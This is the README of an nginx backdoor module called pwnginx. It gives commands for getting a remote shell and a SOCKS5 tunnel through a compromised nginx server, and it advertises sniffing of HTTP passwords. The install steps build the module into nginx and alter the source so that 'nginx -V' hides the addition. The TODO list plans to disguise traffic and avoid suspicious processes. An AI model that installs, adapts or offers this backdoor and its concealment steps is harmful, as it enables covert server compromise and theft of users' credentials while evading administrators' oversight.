infodox / pwnginx

Pwn nginx - a nginx backdoor offering shell access, socks5 tunneling, http password sniffing.

#[ Pwnginx ] - Pwn nginx

Copyleft by t57root @ openwill.me

<[e-mail]> www.HackShell.net

Usage:

Get shell access via the nginx running @ [ip]:[port]

./pwnginx shell [ip] [port] [password]

Get a socks5 tunnel listening at [socks5ip]:[socks5port]

./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]

###Features:

• Remote shell access

• Socks5 tunneling via existing http connection

• Http password sniffing & logging

###INSTALL:

• Compile the client:

  $ cd client;make

• Edit source to hidden configure arguments:

  $ vim src/core/nginx.c

  Modify the configure arguments line into: configure arguments: --prefix=/opt/nginx\n"); (original configure arguments shown in the result of nginx -V)

• Recompile nginx:

  $ cd /path/to/nginx/source; ./configure --prefix=/opt/nginx --add-module=/path/to/pwnginx/module && make (There is no need to run make install)

  $ sudo cp -f objs/nginx /path/to/nginx/sbin/nginx

• Restart nginx

  $ sudo killall nginx && /path/to/nginx/sbin/nginx

###TODO:

• Pack communication traffic into HTTP protocol

• Full pty support

• Shell with root privilege(? There must be another stand-alone 'nginx: master process' running under root to support this function. Maybe that's too suspicious. Being considered.)